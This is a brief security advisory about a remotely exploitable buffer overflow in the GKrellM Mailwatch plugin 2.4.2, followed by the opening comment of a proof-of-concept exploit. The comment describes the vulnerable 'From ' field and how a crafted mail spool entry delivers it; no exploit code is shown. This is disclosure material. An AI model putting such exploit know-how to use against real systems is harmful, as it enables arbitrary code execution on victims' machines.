It has been reported that the Mailwatch plugin for GKrellM is vulnerable to a remotely exploitable buffer overflow. This may permit the execution of arbitrary code with the privileges of the GKrellM program.

/*
 * Proof of Concept code for a buffer overflow in  gkrellm plugin gkrellm-mailwatch 2.4.2
 *
 * Overflow occurs in when processing the "From " (not "From: ")
 * field of the email.  This is remotely exploitable if you can pass 
 * shellcode through the mail servers with out it getting foobar'ed
 * in the process.
 * 
 * Since this is just POC, this will create a directory called hacked in gkrellm's CWD.
 * 
 * One last note, it appends to the file you create, so feel free to append to
 * your /var/spool/mail entry.
